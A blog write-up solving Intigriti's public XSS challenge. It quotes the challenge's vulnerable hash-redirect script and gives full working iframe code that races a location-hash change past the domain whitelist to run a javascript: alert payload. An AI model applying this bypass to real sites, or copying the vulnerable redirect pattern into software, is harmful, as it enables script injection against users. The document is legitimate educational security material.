Solving the XSS challenge from Intigriti

November 26, 2019

Last week there was the XSS challenge published by @intigriti. The goal was to trigger your javascript code in the context of their domain "challenge.intigriti.io".

Sample redirect URL: https://challenge.intigriti.io/#https://intigriti.com

<script>
  const whitelist = ['intigriti.com','intigriti.io'];
  var url = new URL(location.hash.substr(1));
  if(whitelist.indexOf(url.hostname) > -1){
    document.write("Redirecting you to " + encodeURIComponent(url.href) + "...");
    window.setTimeout(function(){
      location = location.hash.substr(1);
    });
  }
  else{
    document.write(url.hostname + " is not a valid domain.")
  }
</script>

The challenge source code: https://challenge.intigriti.io/

The underlying problem is located on the line with setTimeout() function call. Instead of using the already set url variable, it's using the (dynamic) location hash from the URL that could be replaced without reloading a page.

The main challenge here is to bypass the whitelist, where only two domains are allowed. To do that, the first call needs to use the whitelisted domain, and the next call would replace location hash with any domain (not whitelisted). That way, the if statement evaluates to true and setTimeout() call is added to the event loop.

So how to both bypass the whitelist and redirect to the domain other than "intigriti.com" or "intigriti.io"?

  1. Load the challenge website inside an iframe with location hash from whitelisted domains
  2. Immediately after iframe loads (onload event) replace the location hash
  3. Since changing the location hash doesn't trigger the page reload it will not affect the whole process

The full source code for my solution:

<html>
<body>
    <iframe id="ifr"></iframe>
    <script>
        var ifr = document.getElementById('ifr');
        ifr.src = 'https://challenge.intigriti.io/#https://intigriti.io';

        ifr.onload = () => {
            setTimeout(() => {
                ifr.src = 'https://challenge.intigriti.io/#javascript:alert(document.domain)';
            }, 0);
        }
    </script>
</body>
</html>

As a result the whitelist is successfully bypassed with allowed domain and then setTimeout() function call is added to the event loop to change location hash to #javascript:alert(document.domain) which triggers JS alert in the context of "challenge.intigriti.io" domain. This is a great example of the race condition vulnerability.

All posts

Comments